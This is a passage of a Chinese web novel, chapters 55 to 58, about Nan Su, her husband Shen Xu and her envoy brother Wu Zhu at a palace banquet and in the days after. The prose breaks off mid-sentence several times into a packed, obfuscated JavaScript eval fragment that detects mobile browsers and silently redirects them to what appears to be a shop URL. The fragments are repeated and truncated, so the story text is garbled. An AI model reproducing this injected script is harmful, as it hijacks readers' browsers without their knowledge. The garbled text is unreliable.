南夙匆匆走向床边,从枕头底下掏出个东西塞进荷包了,转身就要走,却被一声东西落地的轻响给吸引了注意力。 她转头一看,发现原本盘在床头的豆豆被她不小心扫到了地上,此刻正摇摇晃晃地从地上支起脑袋来。她惊呼一声,差点将豆豆给忘了。 她上前捡起豆豆,将它往袖子里一塞,清醒过来的豆豆感受到她的气息就自动上前,乖巧地缠上了她的手腕,小小一只被盖在南夙的袖子底下,外表看不出来藏着什么。 带上豆豆后,一切准备就绪,南夙跑到门边,“呼啦”一下,猛地拉开房门。 沈序站在门外,与南夙眼睛对了个正好的视。 似是被突然开门吓到了,沈序怔愣在原地片刻才清醒过来。 南夙摇了摇他的肩膀,“发什么呆,不是说人等着了吗?快走啊。” 说完,没管沈序有没有听到,也没在意他反不反应得过来,南夙已经绕开他先一步跳下了台阶。 裙摆拂过涩浪,一如往日。 她像一阵带着清香的风掠过沈序的身畔,那风吹得是怦然,是悸动。 沈序转身,提步去追她。 宫门深处,一行人正穿过金水桥。当先男人身着灵诏使臣的朝服。那是不同于大景圆领襕衫,灵诏特有的交领长袍,玄清底色,①领口和袖缘镶着银灰色的暗纹。袍长及脚踝,腰间系着不同于大景的蹀躞带,带下垂挂的物件比往日更多,除了短刀、砺石,还多了一枚刻着灵诏王室纹饰的 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南夙收回目光,又感觉到正对面传来一道视线,明目张胆、毫不掩饰。 她抬眼望去,与站在对面的三皇子四目相对。 韩允执像是等了她很久,见她看过来,急切地朝她露出个笑容来。 南夙看了他一眼,立马收回了视线。 家有醋缸,不得不防。 她又看向殿前那人,他身形颀长,腰板挺得很直,躬身行礼的动作干净利落,不卑不亢。 殿上众人在陛下的发令下落座。 南夙坐在自己的位置上,眼前是千篇一律的宫宴糕点,她往日里很是喜欢,可今日,这些往日里令人垂涎欲滴的东西竟一时之间让她失去了所有的欲望。 宴会上,她也没有机会与阿维说一句话。 她目光不能控制地往殿下坐着的那人看去,望着那人的侧脸,她不自觉呢喃出声:“乌烛……” “南夙。” 身侧忽然传来一声轻唤,南夙回过神来转过头去,见沈序正望着自己。 “怎么了?”她问。 沈序道:“是我要问你怎么了,你一直在发呆。” “我没事。”南夙低下头来。 “真的?”沈序明知故问。 南夙瞪了他一眼,努努嘴,“当然是真的。” “你一直在看咱哥。”沈序朝乌烛那边扬扬下巴。 南夙反问:“不可以吗?” 说完,她又反应过来,“什么叫咱哥,那是我哥。” 沈序:“你的不就是我的?” 一脸的理所当然。 南夙怒道:“不要脸。” 她转过头来,不再看沈序。 然后接下来,她的右边手臂就遭到了某人无间断的攻击。 南夙被他烦得不得了,给了他一记眼刀,沈序才心虚地放下手来。 这时,她又感受到一道视线停留在自己身上,南夙抬眼去寻。 看到了正盯着自己看的阿维。 55.第 55 章 没想到阿维会突然看过来,南夙愣了一下,当即坐直了身子,没再跟沈序闹腾。但随即她又反应过来自己动作太大了,毕竟自己蒙着眼睛,现在应当看不见才对。 但她最终还是保持了自己挺直的腰板,因为她在刚才那一刻,突然悟出来一件事,这么大人了还不分场合地打闹,被人看见那叫什么样子? 南夙担心阿维会觉得自己幼稚,于是在接下来的宴会中都坐得很板直。 沈序面上没有表现,其实心里对他这位大舅哥还是有点怵的,倒不是怕他。毕竟人妹妹现在是自己的心上人,他生怕哪里做的不对让人看不惯了。 虽然从他以前的调查来看,南夙从小没有和他一起长大,但是看南夙的样子,是很想要和父亲哥哥亲近的。 夫人都如此在意了,自己也得重视起来。 沈序低头审视了一下自己的着装,这可是他柜子里最好的衣裳了,专门为了迎接大舅哥穿的。 他在心里嘀咕着,咱哥可一定要没看到自己方才逗南夙的场面啊。 想着想着,他也不自觉地像南夙一样正襟危坐起来。 两人就这样坐直着身子,谁也不说话,案上的东西也不吃,任它摆在那。 南夙低着头,眼珠子在素绫下滴溜溜地转,脑中思绪万千,又连不成一块。这时,她感觉自己的右臂又被人轻轻戳了一下。 为了维持端庄,南夙没直接转头,而是欲盖弥彰地把屁股往沈序旁边挪了几下,直到右肩贴到了沈序的左肩,她才小心侧着头,声如细纹,“干啥呀?” 沈序看着她的动作一言难尽,正想开口揶揄他。 下一秒,突然感觉有人在看自己,沈序抬眼一看,与大舅哥四目相对。他就知道,刚进殿时装作看不见他们的大舅哥是假的,现在这个才是真的。 他上扬的嘴角立马平铺下来,那样子只有那么正经了,拿起案上的额一块糕点,“其实我只是想问你饿不饿,要不要吃点什么?” 南夙白眼一翻,虽然沈序也看不见,但阿维也看不见啊,她嘴角抽抽。 怒骂道:“有病。” 沈序:“……” 他急忙解释:“我是真担心你饿了,你不是蒙着眼睛看不见吗?” 南夙:“我看不看得见你不知道?” “话不是这样说的。”沈序道,“我知道你看得见,那旁人呢,旁人知道你看得见了?” 南夙不说话了,难道周围有人在偷听? “所以,要不要吃点?”他把手里的糕点往南夙跟前一送。 南夙思量一会,装模作样地伸手在身侧摸摸,摸到沈序的手后才又一点点摸到他的手上,打算从他的手里接过糕点,结果沈序突然躲开,直接将糕点喂到了她的嘴边。 这是干啥。 南夙盯着眼前的糕点看了好一会,还是决定先吃了再说。她就着沈序的手吃完了一块糕点后,见沈序又拿起筷子,在盘子里夹了块肉,虽然一肚子狐疑,但她也没有抵抗,乖乖地吃完了沈序喂给自己的东西。 没一会,她肚子里就堆起了糕点水果小食的尸体。 她揉了揉肚子。 沈序望见她真的吃饱了,才放下了手中的筷子没再继续。 南夙摸着自己鼓起来的肚子,感觉自己是一点也吃不下了,她小声打了个嗝,转过头去面对沈序,冲他摇了摇头,表示自己已经吃不下了。 她嘴巴无意识地瘪了瘪,脑袋轻轻地左右摇晃,那根素绫懂事地跟在她身后飘着,叫她看起来无辜又可怜。 沈序本来的目的也只是希望她能吃点东西,看她因为哥哥出现在自己面前就对所有事情都失去了兴趣一,满心满眼都只有哥哥了。他倒也不是吃醋,只是看着南夙这样失魂,自己心里也有几分不得劲。 他没想到其他什么好的办法,只能借玩笑哄南夙多吃一点。 看着她朝自己乖巧地摇头,沈序觉得心里像是裹了一层火炉上燃烧的额焰,叫他时刻都能保持心脏的温度。 他拿起手绢将粘在南夙嘴角的碎屑擦干净,凑近她的耳朵,“吃饱了就行。” 南夙这时才意识到他的目的,她抬起头来,隔着素绫与沈序对了一个朦胧的视。虽然没有平日里看得那般清楚,南夙却觉得这目光如往日那般认真。 她抿抿唇,“谢谢。” 沈序的气温就在她耳旁,“谢什么,你是我夫人,照顾好夫人是我应该做的。” 南夙想笑,却又控制着没有笑出声。 “油嘴滑舌。”她道。 沈序知晓她不是心里话,也喜欢逗她,接道:“难道夫人不满意?”说着,他又重新拿起银箸,作势要给南夙添食,“看来夫人还没吃饱,那再吃点。” “不用了!”南夙急忙拒绝。 沈序隔着那道素绫感受到了她的眼刀,遂止。 宴会快结束时,陛下突然提议,让乌烛这几日随南夙回镇北侯府去住,刚好他们兄妹二人也好团聚一番。 刚叫到南夙名字时,她还愣了一下,直到意识到陛下说了什么后,她才激动地站了起来,如果不是因为什么在旁边拉着她的话,她就要忘了自己现在还是个瞎子,立马要上前谢恩去了。 不过她虽然“瞎”了,但恩还是要谢的,最后是沈序牵着她一起谢的恩。 散席后,南夙站在原地,面朝乌烛的方向。她在等他。 而那个一晚上没有同她说话的人此时终于主动朝她走过来,站立在她面前,盯着她看了许久。那声音与他的外表毫不相符,乌烛外表是一个严肃冷冽的人,可他的声音却很温润,像春日里下的第一场雨,总能让人舒畅。诏父说,那是因为阿维的命蛊就是这样的。 南夙忽然反应过来,自己并没有感受到阿维身上的命蛊。 “你的命蛊呢?” “眼睛怎么了?” 他们几乎同时开口。 站在一旁的沈序适时提醒道:“这里人多眼杂,回去再说。” 乌烛这时才发现,他那个讨人厌的妹夫还在旁边站着,他乜了他一眼,没说什么,先一步转身走了。 沈序:“……” 我就知道,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他暗恼自己的疏忽,立刻就派人去了一趟灵诏,让人私下好好查查这位大舅哥的为人、爱好。 这一查,就让他查出来了一件大事。 原来这位大舅哥竟是以为隐藏的妹奴。 派去的人寄回来的信里面写着,南夙被送到乡下后,照顾她的嬷嬷,也就是南夙的姑姑,一直照顾她的那个人是乌烛派人送去的,就连安雀都是他暗中使法子送到南夙身边为了照顾南夙的。 南夙在石语这些年,所有练蛊需要用的药物、毒虫,都是他偷摸着让人送来给嬷嬷,再借嬷嬷的手送到南夙手中。他本人不知道出于什么原因,时常偷偷跑到石语镇去,却从不在南夙面前露面。但光猜都知道是去看南夙的。 乌烛那时候多大来着?十二岁。 就连南夙送给他的那两把刀,都是乌烛亲手所制。 沈序今天没有带刀,免得被乌烛看到以为自己是在挑衅。 但就是因为调查到的这些,沈序才决定,对这位大舅哥的态度好一些。毕竟在刚知晓南夙独自在石语长大这件事时,他心中也是怨乌烛他们父子二人的。 沈序提步跟上南夙,走在她的旁边。 南夙不知在看什么,眼睛在殿内转了一圈,忽然侧过头来面对他,“好奇怪,我也没有感受到那些使臣体内的命蛊。” 56.第 56 章 宫门外准备了马车等着他们。 一上马车,南夙就迫不及待问道:“阿维,你的命蛊呢?我怎么没有感受到?还有,那些跟着你一起来的人我也没有感受到。” 马车的轮胎摇晃着碾过青石板。 乌烛看了她一眼,没有回答,而是说道:“先告诉我眼睛怎么了?” 在殿前见到南夙眼睛上蒙着一道素绫时,他不自觉便握紧了拳头,以为他是在京城受了伤,弄伤了眼睛。他想立刻上前问她怎么了,眼睛怎么了?过得怎么样?适不适应京城。他今夜一直在观察南夙。 他发现,南夙虽然蒙着眼睛,却好像仍然能看见一样。中途和那个倒霉妹演戏,看得出来两个人演技都不怎么样。 既然不是看不见,为什么要蒙住眼睛。 南夙听见这话,犹豫了一会,才伸手到脑袋后面,一把扯开了系着的结,那双琉璃色的眸子就这样暴露在空气中,明晃晃地出现在乌烛面前。 沈序想拦她的手伸到半途,没有打断她。 乌烛望见那双陌生而又熟悉的瞳孔的那刻,先是怔愣在原地,他的视线始终落在南夙的眼睛里,却不是和她对视,仿佛在透过它找寻着什么人。 他喉头滚了滚,许久才找回自己的声音,“药失效了?” 他一针见血地指出。 南夙点头,“嗯,好几个月前就失效了。” “好几个月前?”乌烛的语气加重了些。 “嗯。”南夙应道,她听出阿维语气中的严肃,问道,“怎么了阿维?” 乌烛皱着眉头,“有别人看见吗?” 南夙今日既然蒙着眼睛,证明她自己也知道,不能在外人面前露出这双眼睛。只是这药是从几个月前就失效了,这么长的时间,难保不会有别人看见。 他说完,抬眼看向坐在南夙身边的沈序。 沈序一感受到这道视线,立马坐直了身体,反应过来乌烛问了什么,拨浪鼓一样地摇着脑袋。 乌烛看着这位倒霉妹夫不太聪明的样子,露出一个质疑的表情。 沈序一看,立马竖起了三根手指立在空中,“我发誓,除了我本人,以及安雀和红雾两个丫头之外,绝对没有第四个人见过南夙的眼睛,就连我父母都没见过。” 自南夙入京以来,她去过哪里,做了什么事,枕月楼都会按时地送信到他手中,所以他自然知晓红雾是谁。可南夙她们并不知道自己知道这一切,于是他问道:“红雾是谁?” “是我在杭州认识的一个女子,人很好,同我一起好久了,绝对不会把这件事说出去的。”担心乌烛误会,南夙赶紧答道。 乌烛视线投过来,“你心里有数就行。” 南夙乖乖点头。 接着,她又没忍住问道:“阿维,为什么你和阿姎都一直让我把眼睛遮起来呢,难道我的眼睛真会带来什么厄运吗?” 南夙排斥这双眼睛的原因,是因为幼时诏父曾说这是害死阿姎的罪魁祸首。可是在阿姎死前,就一直用各种药物掩饰住琉璃色。后来阿姎死了,阿维就成了那个一直监督她挡好眼睛的人。虽然她们小时候不常见,却能经常收到阿维遣人送来的各类药材。 十几年如一日的习惯,加上她本身的排斥,这双眼睛自然也没什么出现的机会。但见阿维对自己眼睛是否被人看见这事如此关系,南夙又忍不住好奇,想知道答案。 但阿维却没有告诉她她想听的。 听见她的话后,乌烛皱起眉头,一缕烦躁从他的面前闪过,再看向南夙时又消失不见。 他语气温和,像在哄南夙,“阿维不是告诉过你,诏父那日是喝多了胡诌的,让你别信吗?怎么还一直记到了现在。” 说着,他弯起手指在南夙额前轻轻叩了一下。 南夙“嗷”一声捂住了额头,“疼!” 沈序不着痕迹地瞪了乌烛一眼,默默抬手给南夙摸了摸。没想到南夙这家伙不但不领情,居然还转头冲他吐了下舌。 他气不打一处来,立马收回了手,抱着手转过头去了。 南夙瞥了他一眼,趁阿维没朝他们这边看,轻轻戳了一下沈序的后腰。 手指在后腰处挠了几下,轻轻地,却惊起了沈序一阵酥麻。 乌烛忽然在这时转过头来,南夙赶紧把手伸回来,在乌烛还没开口之前,卖乖般龇着牙笑。 乌烛看着眼前傻乎乎的妹妹,心里又温暖又酸涩,余光中瞥见一个讨人厌的身影,他瞳孔微微挪动一下,瞧见那人学着自己的妹妹一样冲自己露出一个笑时,内心就只剩下酸涩了。 他垂下眼眸,不知道在想什么。 许久才又抬起眼来,道:“等回了府,我给你瞧瞧眼睛,看看有没有什么办法能够把它重新遮住。” “好。”南夙重重地点了下头。 说完这些后,车内又奇异地安静了下来。 南夙很想阿维能在跟自己多说一点,最好能说说灵诏的事,他们过得怎么样,诏父怎么样,子民们怎么样,可是阿维没说,她也不知道如何开口。她绞尽脑汁,思考着怎么样开口,但最终却毫无所获。他们太久没见,根本找不到什么可以说的话。 沈序就更不用说了,他是个人精,也想在大舅哥面前好好表现表现,但他也发现了,自己说话才不讨大舅哥的待见,干脆直接闭嘴了。 至于乌烛,他原本的计划,是想要好好与南夙聊聊的,但所有的话却都在看见南夙的眼睛时被他遗忘在记忆的风沙里。那风沙过大,吹走了他来京城一路所思考的话语,却卷来了一段更早的记忆。 他掀开马车的帘子往外看了一眼,京城的街景同灵诏很不相同,不过稀奇古怪的物件倒是挺多的,不知道南夙那丫头有没有在里面挑到自己喜欢的。 应当是有的吧,他想,毕竟在灵诏,她还从来没有见过这么多稀奇玩意儿,根本不像是一国公主应有的待遇。 这一切的一切都是因为那个人,还有……自己。 如果当年自己能够保护好她,就不会出现今天的局面,他的妹妹,也不会远赴千里来到京城和亲。 如今唯一能给他心里慰藉的是,那位倒霉妹夫看起来对南夙还不错。在枕月楼传来的信中还有提到,这位倒霉妹夫与南夙一起查了几桩案子,两人合作无间,很有默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324880|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 契,这位妹夫,对南夙也很好…… 乌烛捏得紧紧的拳头此时才慢慢的松了一些。 至少,过得是好的。他想到。 而他这一系列动作都被沈序看在眼里。沈序看着那被他狠狠捏进手里已经捏皱了的帘子,不自觉打了个寒颤。 他下意识将乌烛怒火的来源归到自己身上。 他不会要杀我灭口吧,沈序想,然后他就默默挪到了南夙身边。 南夙感受到他的靠近,转头看他一脸毅然地表情,有些莫名其妙。沈序这时忽然低下头去,一直盯着下面,不知道再看什么,南夙更觉一头雾水了。 而此时的沈序看着身侧那条紧挨着自己的腿,决心今晚一定要抱好了,好保住小命。 当然这一切都是开玩笑的,嘿嘿。 镇北侯府,南夙在前面引路,带着乌烛往他们院子里走,沈序落在最后面,晃晃悠悠地走,看着眼前的两具身影,尤其是最前面那个略显雀跃的背影。 “咔”一声,房门被推开,南夙迈进屋子里,走到旁边转过身面对乌烛,冲他张开手臂,表示对他的欢迎。 乌烛被他幼稚的动作逗得一笑,提步进了屋子。 绕过屏风,整间屋子的格局暴露在他眼前。 这间屋子所有的东西都是南夙准备的,床榻是她铺的,案台是她整理的。她还提前让裁缝准备了几身衣裳,按着记忆中的身形做的,今日见到乌烛,南夙有些担心那衣裳会小了。 她走到床边,拉开了一个小柜子,一堆稀奇古怪的小玩意冒出头来,南夙随手拿出一个木头娃娃,放在自己的脸旁,手跟着头一起晃了晃,问道:“像不像?” 那娃娃是个大概四五岁的小女孩,同现在的南夙还有五六分相似,乌烛轻笑一声,“像。” 南夙十分高兴地咧着嘴,转过身又在柜子里摸出一个东西塞到乌烛手里。 他低头一看,也是个木头娃娃,不过是个男孩看起来十一二岁的样子。他握着手中的娃娃怔愣了片刻,一瞬间,一段被年岁冲淡的记忆突然毫不讲理地闯进脑袋里。一他记得那是他十一岁时,那是南夙还只有五岁。王宫里只有他们两个小孩,南夙每日只会跟在他身后,奶奶地喊着“阿维”,“阿维”。 阿夙是乌烛最喜欢的小孩,小乌烛那时候想,不论以后发生什么事,他都一定会保护好阿夙,一辈子。 那次,王宫里来了一位客人,是诏父的朋友的孩子,那个孩子同南夙一般大,是个女孩。那是南夙第一次见到别的小朋友,她想与她亲近,却被狠狠地拒绝了,小南夙十分伤心,一个人躲在池子边哭,被乌烛发现了。为了哄好南夙,乌烛承诺,会亲手送一个礼物给她。 不过那个礼物直到最后也没有送出去,因为没等乌烛做好,阿姎就死了。 阿姎死后,乌烛突然消失了一段时间,再回来时,南夙已经被送去了石语。而他没做完的礼物,被封在了灵诏王宫那间寝殿里小小的箱子里,不见天日。 乌烛看着手里的娃娃,许久才问道:“你怎么知道,我当时做的是这个?” 南夙弯着眼睛,“因为我看到了呀。” 57.第 57 章 “眼睛睁开。” 镇北侯府后院的那棵石榴树下,此时正支着一张椅子,南夙坐在上面,后背靠在椅背上,仰着头,睁大眼睛。 他身旁站着一位身形颀长的男子,左手拿着药瓶,右手捏着一块叠成方形的棉布,支起一个尖尖的角来。 南夙睁着眼睛,努力往大了瞪。 男人捏着棉布,那尖尖上已经沾上了他新配的药。 看着那逐渐靠近自己的棉布,南夙不自觉地眯了下眼睛,又马上克制住自己自己要合上的眼皮。 她心里默默给自己鼓气,只痛一下就好了。 瞳孔感知到外物的触碰,南夙下意识捏紧了衣摆。下一秒,她惊讶地瞪大眼睛。 “不痛?” 乌烛为她上好了两只眼睛的药,让她闭上眼睛缓一下。一边收起药瓶,一边解释道:“配方是我新研究的,换了好几味温和的药,痛感还是有的,只是不会那么疼。” 他这么一说,南夙再仔细感受了一下,发现确实还有一些灼热的感觉,但对比之前那红灼烧般的痛感,这点疼痛对她来说根本不算什么。 她仰着头,弯着眼睛,笑嘻嘻地看着乌烛,视线随着他的动作来回移动。 乌烛收拾好支在一旁的桌上的东西,直起身来,发现有一只偷摸的小猫在盯着自己看。 “怎么了?” 南夙抿抿唇,道:“阿维,你昨天还没告诉我,你的命蛊哪去了,为什么我感受不到?” 她说着蹙起眉来,显然很是担忧。 乌烛看着她皱起来的小脸,轻笑了一声,“还在,别担心。” “那为什么我感受不到呢?”南夙疑惑问道。 乌烛解释道:“我只是换了只命蛊而已。” “什么?”南夙惊呼,“什么叫只是换了命蛊而已?为什么要换?” 换命蛊可不像她在杭州时给醉春楼的姐妹们换的蛊一样。那是命蛊,同灵诏人绑着命的东西,如果不是迫不得已,绝对不会有人主动换命蛊的。 南夙眉头皱得更深了。 乌烛知晓她心中所忧虑的事,安慰道:“放心吧,没吃苦。” 南夙噘着嘴,“骗人。” 乌烛好笑地揉揉她的脑袋,解释道:“这方法毕竟不是我一个人用,自然要万无一失,能让所有人都接受才行。” “所有人?”南夙捕捉到他话中重点,“难道灵诏上下都换了命蛊?” 乌烛打趣道:“你阿维我现在还没有这样的实力能让整个灵诏都听我的,随意便将命蛊给换了,这可是关乎生命的大事。不过是几个小镇而已。” 他没说的是,这第一个镇子,就是石语。 几个小镇,那也已经是很庞大的数量了。 “为什么会突然换命蛊呢?” 乌烛看着她,心道:“这样你再回家时,就不会再日夜忍受圣蛊发作的疼痛了。” 可他却没有说出来,只是很平静地解释道:“没什么,就是在翻阅古籍的时候发现一种让蛊虫能够和宿主更为契合的练蛊之法,尝试了一下,发现这法子还不错,也就换了。” “这么多人都一起换了?”南夙震惊,“那这法子不会有什么危险吧。” 不会的,乌烛在心里道,我试了这法子十几年,才研究出这种不会让人疼痛,也不会伤害人体的办法。 他再心疼南夙,也不会拿一国子民的生命来开玩笑。只是这些话却不能对南夙说。 “不会。”他只是轻轻道。 “那就好。”南夙这才放下心来,点点头。 “阿维。”她又喊道,“那你们这次来京城是做什么?就是为了来进贡?” 乌烛拉过一个凳子在她身侧坐下,微微颔首,“嗯。” 还有,来看看你,顺便看看这蛊成功了没有。 “那你们会像楼兰使臣一样,在京城待很久吗?”她满眼期待地看着乌烛,希望他能给自己一个肯定的答案。 可惜,乌烛摇了摇头,缓缓启唇,“不会,我最多再待两日就得走。” “啊?”南夙的脑袋立马耷拉了下去,“怎么会这么快呀,你不是才来吗?” 乌烛看出她的失落,他也很想留下多陪南夙两天,但前几日传来的信却在提醒他,他的时间不多了。这些年他将大半的时间与精力都放在了练蛊这一件事上,没有发现那人的密谋,直到三个月前他成功炼出蛊来,确定了入京的事项,有了多余的精力去看看外面时,却发现整个灵诏已经变了天。 入京一事已经做好了所有的准备,他不能不来。但离开灵诏的这一段时间,他一直让人在灵诏盯着那人,前日,就在他即将入京的前一天,有信送到他的手里,告诉他那人已经开始有所行动。 他必须要回去了。 庆幸的是,这些年他也在暗中培养着自己的势力。石语是个好地方,那里远离皇城,最不起眼,常人一般不会将目光放在那里。 乌肆当年,不也是因为这个原因,才将南夙送到哪里去的吗? 他视线停在南夙身上,不论经历了多少,南夙依旧是孩童时那副天真的模样。 “你想回灵诏吗?”他忽然开口。 “我可以吗?”南夙瞪大眼睛,语气拔高了几个度,听到回灵诏这三个字,显然让她很激动。 乌烛看着她,很认真的提出主意,“若是让沈序去求,大景皇帝自然会应允。” 南夙仔细想了想,觉得他说得还真没错,如果是自己去的话,大景皇帝多半不会同意,但沈序不一样,大景皇帝喜欢他喜欢得紧,他又满身功绩,若是让他去求,皇帝一定答应! 她想着就忍不住露出牙齿,原地乐呵起来。 她弯着眼睛,转头看向乌烛,“阿维,其实我还有一个问题想问你。” “什么?” 南夙试探着开头:“你是不是……不喜欢沈序?” “为什么这么问?” “就看出来的呀。”南夙说道,“你昨日的表现也太明显了。” 乌烛沉默了,他很想说,这个世界上是不会有哥哥喜欢妹夫这个东西的。试问谁家哥哥会喜欢偷了自家好白菜的猪呢?虽然他家这棵白菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“既然阿夙如此夸他,那我日后便不对他如此严苛了。”他笑道。 南夙疑惑,“阿维为什么要对沈序严苛呢?” “傻妹妹。”乌烛此时终于愿意说出心里那句话,“没有一个哥哥会喜欢拐走自家妹妹的人。” 他曲起手指在南夙额间轻轻一扣。 南夙今天很开心。 因为两件事,一是阿维配的药有用,自己日后不用再遮住眼睛了,毕竟看不见的日子是真不好行动;二是因为阿维说的那句话。 阿维说:“没有一个哥哥会喜欢拐走自家妹妹的人。” 这句话在南夙这里代表了两个含义,一是阿维始终将她当作妹妹,时间与距离都没能在他们的感情间画上一条缝,二是阿维承认了沈序的身份,这也就代表,沈序日后不用再因为担心阿维不喜欢他而忧虑了。 沈序想讨好阿维的心南夙看得比谁都明白。 一下子解决了两件大事,南夙想着想着就不自觉笑出声来,蹦蹦跳跳地跑回了屋子。 58.第 58 章 沈序今日也很高兴。 试问还有什么比亲耳听到自己的心上人在亲兄长面前承认喜欢自己更爽的? 沈序靠在假山上,心道今天这心真是来散对了。 南夙有一件事猜得很对,就是沈序这两日,真的在费劲苦心去赢取大舅哥的满意,当然了,今日他也发现了一个残酷的事实,那就是自己的煞费苦心,还比不上人家亲妹妹简单的一句话。 不过那又怎么样呢?他志不在此。 沈序低着头,眼神中带着点常人看不懂的色彩,却不是因为别的,而是他现在,感觉内心十分的爽。 他憋着笑往回走,没注意到院子里的屋门此时正敞着。 步子刚准备迈进屋子,视线中突然出现一团明黄色的身影,下一秒,将他撞了个满怀。 沈序还没意识到发生了什么,手已经下意识地伸出去,扶住了撞进自己怀里的人。 “沈序!” 还没等他看清是谁,怀里的人已经直起身子来,一脸惊喜地看着他。 南夙仰着头,弯着眼睛看他。 “怎么了?”沈序站直身子,垂下眸子看她。 “我有件事想跟你说。” 她分明还没有开口,可沈序却像是猜到了她的想法一般,先一步开口道:“想回灵诏,让我去找陛下求情?” “你怎么知道?”南夙瞪大眼睛,不可置信道。 难道她与沈序已经默契到了如此地步? 沈序说完之后才反应过来自己嘴快了,这话是自己偷听来的,属实不该如此光明正大地暴露在空气里。但说出去的话泼出去的水,说都说了,沈序也只好找补,“你不是一直很想回灵诏去吗?这次阿维来京城,不用猜我都知道,你肯定想跟着阿维一起回灵诏,既然要回灵诏,肯定是要先请示陛下的,这种事,自然是我去说比较好。” 他一番话说得是有理有据,头头是道。 “你也太聪明了!”南夙果然信了他,惊呼道。 “不过……”她开口补充,“我们不和阿维他们一起走。” “嗯?为什么?”沈序惊讶道,方才听见南夙对他表白心意那段之后,他就开始神游了,压根不知道后面说了什么。 南夙道:“阿维回灵诏有急事,路上走得急,我们不着急,慢慢去。” 沈序点点头,“那我们什么时候出发?” 南夙思量了一会,既然是沈序去求的机会,什么时候出发就由沈序来定。 “你想什么时候出发?” “那就等过几日,阿家的生辰过了之后咱们再走,好不好?” “哦对,阿家的生辰就要到了,你不说我差点都忘了。”南夙懊恼道,“要是我们在阿家生辰前走了,她一定很伤心。还好你提醒我了。” 沈序笑道:“嗯,我记得就好,以后都会提醒你的。” “嗯。”南夙露着牙齿,笑得很开怀。 “那我要先去瞧瞧我给阿家做的礼物怎么样了。”她忽然转移了话题,撩着裙摆擦过沈序的肩膀,朝院门的地方跑去。 还不忘转过身来嘱咐他,“记得照顾好阿维,他在院子里呢。” 沈序冲她大喊:“好!” 纵使南夙有万般不舍,乌烛也必须要出发回灵诏了。 南夙站在马前,泪眼模糊地望着乌烛,他换上了来时穿的那身衣服,站在人群里时高耸独立,面上严肃,看起来很不好相处。 可南夙却知道,这是她最好的阿维。 她低着头,不着痕迹地抹了两下眼睛,自认为毫无破绽地掩饰着。乌烛却早就知道,今日南夙会哭。 他伸出一只手揉了揉南夙的脑袋,“好了,别哭了,过段日子又能再见面了,不是吗?” 南夙点点头,却还是低着头。 乌烛托起她的脑袋,“阿维要走了,阿夙连看都不看一眼吗?” 南夙猛地抬起头来,连连摇头,撇着嘴,好像下一秒就能哭出来似的。 “阿维……”她小声哽咽。 乌烛冲旁边的沈序招招手,“过来,沈序。” 这是他来到京城真么多天以来第一次主动叫沈序的名字。沈序当即瞪大了眼睛,狗腿子般跑了过来,与南夙并排站在乌烛面前。 “照顾好我妹妹。”他道。 沈序十分郑重地点头,“阿维放心。” 他看了一眼沈序,没有说话,像是承认了他这一声“阿维。” 然后,他再一次揉揉南夙的脑袋,转身一踩马镫上马,鞭子一扬,将京城远远地甩在了身后。 南夙站在原地,看着他离去的背影,呆愣了许久。 没有人催她,只有沈序安静的站在一旁陪着她,直到黄昏落日。 阿家生辰那天,京城许多达官贵人都上门庆贺,南夙在生辰宴上第一次没有任何遮挡地见到了韩允执。 “南姑娘。”身后熟悉的声音。 南夙转过头去,见一个身形颀长却肉眼可见羸弱的男子正朝自己走来。 “三皇子。”她认出眼前之人。 韩允执缓步走至她跟前,盯着她的脸,道:“南姑娘的眼睛,好了?” “是。”南夙道,“三皇子有什么事吗?” “只是有些伤心。”他没头没尾的来了一句。 南夙一脸疑惑,“三皇子何出此言?” 韩允执站在她身前,语气带着点幽怨:“前些日子我遣小厮来这侯府寻过南姑娘许多次,都被拒了。” 南夙道:“三皇子也知道,前段时间,我这眼睛坏了,看不清什么东□□自出府,我夫君也不放心。” “竟是如此?”韩允执似是很惊讶。 南夙却听出他那语气中假惺惺的意味,不想再与他攀谈下去,转移了话题。 “三皇子今日来访,想必是来为我阿家庆贺的,可这来宾都在前厅,三皇子怎么跑到后院来了。” 她这话就差说韩允执不问自来没礼貌了,偏偏这厮好像听不出来一般,忽然抬起收了,抖开了手里的折扇。 南夙这时候才发现他手里拿着一把折扇。病弱成这个样子,不知道拿把扇子做什么。 韩允执捏着扇子扇了扇,道:“我内急,出来寻茅厕,迷了路,南姑娘应当不会介意为在下指个路的吧。” 南夙真是对他的借口目瞪口呆,她撇撇嘴,不耐烦地伸出食指朝一个方向指了指,“那边。” 韩允执朝她指的地方看去,还得到了南夙一句十分“礼貌”的告别。 “不送。”南夙道。 韩允执也不生气,提步往她指的地方走去。 没走两步又忽然停下脚步,转过身来,叫住正准备离开的南夙。 “南姑娘。” 南夙没忍住翻了一个白眼。 又干嘛? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他推开门走进去,见桌边坐着一个人。 南夙单手撑着脸,坐在那里一动不动的,不知道在想什么。 沈序走到她身边,拇指与中指一搓,在她面前打了个响指。 南夙被他的动作吵醒,清醒过来,知晓有人来了,还以为是前院找自己有事,忙转过头去,看见是沈序后才又放下心来。 